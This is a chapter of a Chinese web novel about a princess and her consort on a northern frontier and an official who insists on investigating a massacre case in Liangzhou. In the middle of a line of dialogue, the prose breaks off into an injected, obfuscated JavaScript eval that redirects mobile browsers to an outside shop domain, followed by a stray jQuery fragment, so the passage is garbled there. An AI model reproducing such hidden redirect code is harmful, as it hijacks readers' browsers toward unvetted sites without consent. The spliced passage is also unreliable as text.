“你知道?这也是你手下的人查到的吗。”
梁颂:“嗯,算是吧。”
宋怀玉感叹一声:“殿下,你究竟还有多少惊喜。”
梁颂半躺在暖烘烘的怀里,听到宋怀玉这句话,懒洋洋道:“没了,往后若有什么事,还得仰仗侯爷。”
西南苍城已经去了一队人马,梁颂方才在院中静坐就是在思索下一步的计划。
不仅是月兰和她一直在找着月萤,暗地里也有一股势力在寻找着月萤的下落,梁颂在心里微微叹气。
京中局势不明,这段时日因为她这幅残败的身体状况导致拖了太久,西南那便一直都有书信送来,因为计划迟迟没有回信。
也不知道月萤她们会不会因此放弃与她的合作。
“宋怀玉,这次是不是走了很多兄弟。”梁颂突然提起这个话题,她第一次来到北疆,第一次感受到军队里的氛围。
也是第一次在空气中闻到充斥着血腥与硝烟的味道。
宋怀玉白日赶回来的时候,梁颂就闻到了他身上那股浓重的血腥味。
“嗯,他们都倒在了战场上,没能跟我一起回来。”宋怀玉声音低哑,在寂寥的夜里说着残忍血腥的战场。
月色低垂,远方的一线金光在地平线缓缓升起,梁颂微微阖目,在刺眼的日光照在眼皮子上的那一刻,她睁开了眼。
耀眼夺目的太阳在远方升起,照亮了寒冬荒芜的草原,也融掉了梁颂眼底那抹坚冰。
“宋怀玉,你看。”梁颂抬头,语气笃定,“是他们回来了。”
宋怀玉以同样的姿态去看着那轮圆日,眼底落满浮金,他低下头在梁颂的额上亲了下,“嗯,是他们回来了。”
二人之间难以用语言形容的氛围在金色光线的衬托下显得格外融洽,偏偏这时有个突兀的声音在一旁响起。
“殿下,腿不想要了?”付雲笑眯眯地看着如胶似漆的一对,丝毫不留情斥道:“北疆的夜晚如此阴寒,您别告诉我是刚刚才出来的,我看到你们身上落下的白霜了。”
梁颂在听到付雲的声音时果断把脸埋在宋怀玉怀里装死,而宋怀玉则是挺着腰背,目不斜视抱着她起身,“殿下睡着了,你小声点。”
付雲:“……”
合着他成恶人了???
宋怀玉努力忽视背后那道灼人的目光,付雲对待病患的态度是不会顾及身份地位,当年他爹受伤想耍赖都被付雲当着属下的面训了一顿。
“快走,付医官还在看着呢。”梁颂悄声在宋怀玉耳边说道,她目光瞥了眼,险些被付雲发现什么端倪。
“好。”宋怀玉三步并作两步大步跨进寝室,抬脚踹上房门,将付雲的视线隔绝在外,直到这会儿梁颂猛地睁开眼喘了口气。
两个人站在原地大眼瞪小眼看了会,也不知道是想起来什么事,还是没憋出笑出了声。
付雲在外面喊道:“侯爷,我得说说你,那么冷的天你就纵着殿下吹风,万一着了风寒怎么办?受苦受累的还是殿下。”
“你得看着她啊,不要什么事都随着性子来,想吹风吹风,这不行!”
“哟,付叔这是怎么了?”
外面站了一夜的北侯军推门进来,就看见付雲站在殿下房门前苦口婆心的劝导,付雲瞥了他一眼,没好气地骂了一句滚蛋。
宋怀玉仰头叹了口气,冲着外面说道:“行了知道了,你闭嘴吧。”
付雲听了,但嘴还没停,还在继续絮絮叨叨,最后还是梁颂忍不住了,上前打开房门,温声道:“付医官说了这么久,想必是口渴了吧。”
付雲一脸认真:“殿下,我不……我确实渴了,属下告退。”
梁颂关上门,转头看向神态自然的宋怀玉,“付雲还是怕你,你手上有他什么把柄吗?”
方才付雲刻意的改口,梁颂已经猜到了是宋怀玉在身后做小动作。
宋怀玉摸了摸鼻尖:“他之前把和书刚得的一枚宝珠磨成粉下药,和书以为是丢了一直在找,付雲怕我告诉和书,所以一直就不太敢在我面前放肆。”
“哦——”梁颂拉长语调,隔空用手指点了点宋怀玉,“下次见到和书,我会告诉她真相。”
宋怀玉幸灾乐祸道:“那付雲要完了,那宝珠可是傅桑送给和书的。”
梁颂拢着衣服坐在床榻上,撩起眼皮看着宋怀玉,拍了拍身边的位置,“要歇会儿吗,下午不是要回军营?”
宋怀玉看着梁颂放在床榻上的手,慢慢走过去弯下腰用自己的手掌覆盖在上面,“殿下想让我陪你吗?”
梁颂不说话,只是在心里微微叹气,她抬起另一只手抚着宋怀玉的侧脸,拇指摩挲着他的眼尾,“不必如此小心,你是驸马,不是旁人。”
宋怀玉如此谨小慎微,梁颂虽然不太清楚是因为什么,可她还是不想两个人在感情上太过收敛。
既然已经打破了那层薄纸,就不必爱的太过小心,哪怕最后的结局不会尽人意。
只要爱过了,那便不算遗憾。
“宋怀玉,你可是皇帝钦赐的驸马。”
梁颂说完,宋怀玉不再犹豫,麻利的脱下鞋袜,平躺着睡在里面。
还对着瞠目结舌的梁颂笑了笑:“殿下不是要歇息吗,快上来啊。”
梁颂沉默片刻,随即蹬掉鞋子爬上床躺下,外面日头高照,屋子里静谧无言,满室温馨。
*
“傅统领,你来迟了。”
谢柳书大马金刀坐在椅子上,抱臂看着迟迟而来的傅桑。
成君恭敬的上前给傅桑将椅子搬过去,而后站在他身后,仰着下巴冲着谢柳书挑衅一笑。
“啧——”
傅桑没有坐下,只是站在那里从怀里掏出几张纸,对着谢柳书说道:“这是殿下派人快马加鞭送来的书信,这里面写了一些关于凉州城此前发生的事情,事无巨细,全在里面。”
谢柳书又“啧”了一声,朝着桌子的方向努了努嘴:“放那,你可以走了。”
他们二人互相看不过眼,现下有用的东西已经送来,那傅桑这个无关人等就可以麻溜滚蛋。
“给你可以,但我有个条件。”傅桑甩了甩手上的信封。
谢柳书不耐烦的抖着腿,吊儿郎当的看着傅桑,问道:“什么条件,说。”
“凉州此案,以畏罪犯人自戕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304950|148699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结案。”
此话一出,谢柳书瞬间坐直,目光阴鸷看着傅桑,“你什么意思?此案涉及上千人,就这么草草结案,你不怕遭报应吗?”
傅桑不屑一顾:“那你要如何,此案涉及胡兰、楼萨两国王室,你要如何结案?以大宣律法约束外邦,天方夜谭!”
谢柳书拔高音调:“本少管他是不是王室,只要在我大宣疆土上犯事,那便要以大宣律法去罚,如此才是法理公道。”
说着他从椅子上站起来,表情越发严肃,“若要按你如此结案,那些惨死的百姓去问谁要公道?被害死的程司马、因此事被牵连的林复秀一家,要找谁主持公道?”
傅桑看着谢柳书如此,神色微微动容,但他还是站在那里,没有出声反驳,也没有任何妥协的动作。
成君早在谢柳书站起来说出那番话后,表情就已经变得认真起来,本以为是京城纨绔无聊当个官玩玩,竟不知他面对案情会有如此觉悟。
还真是人不可相貌啊。成君忍不住评判道。
堂前所有人面对谢柳书这番话,无人出声,他也不再继续说着,只是无力地倒回椅子上,“傅桑,不论这事是殿下提及还是你的想法,都不必用什么东西来让我妥协。”
他目光灼灼,态度严厉:“此案,我要查,公道,我也要给。哪怕关乎此案之人都被人灭口或者失踪,我都会查下去。”
傅桑放下了举着信件的手,慢慢踱步到谢柳书面前,将手里的信件拍在他的胸前,“谢柳书,希望你往后不会忘了你今日所说的这些话。”
更不要让我们失望。
傅桑留下信件之后径直离开,留下怔愣的谢柳书和被当做空气的锦卫司众人。
成君犹疑几瞬,终究还是没跟上去向傅桑汇报京中变动,她看着太师椅上的谢柳书,不再用此前的目光看待他。
而是异常认真的抱拳行礼,“谢大人,属下愿助大人查清此案,还凉州百姓一个公道。”
锦卫司在外人眼中是走狗,是十恶不赦的罪人。
凡是能进到锦卫司的人,都有着随时为朝廷牺牲的决心。
而今谢柳书手下无一人所用,凉州犹如一个被抛弃的城池,京中亦没有派遣任何守军过来。
成君带来的三个人,也纷纷来到堂下,跟着成君一起愿助谢柳书查清此案,而偌大的司马府,此时也仅仅五个人。
他们对彼此都有着怨怼,更有着互相看不起的心态,但在此刻,干戈化玉帛。
小小的凝聚力在五个人身上初显,他们带着公道和法理,拆开了傅桑所留下的那封书信。
一炷香后,司马府传来了惊天动地的叫骂声,谢柳书被成君几个人拉着按在椅子上,生怕这人脱离掌控冲出去找傅桑拼命。
“天杀的傅桑,我%¥……%¥你祖宗!”谢柳书神情激动,嘴里伴随着鸟语花香,成君等人一边安抚一边试图从那封书信里找到什么有用的线索。
而那张被谢柳书激动之下踩在脚底的信纸上,写了寥寥几句话。
——主犯以查清,在军中关押。谢大人能看到这,想必是已经做了决定,不日后主犯会送来凉州,交由谢大人处理。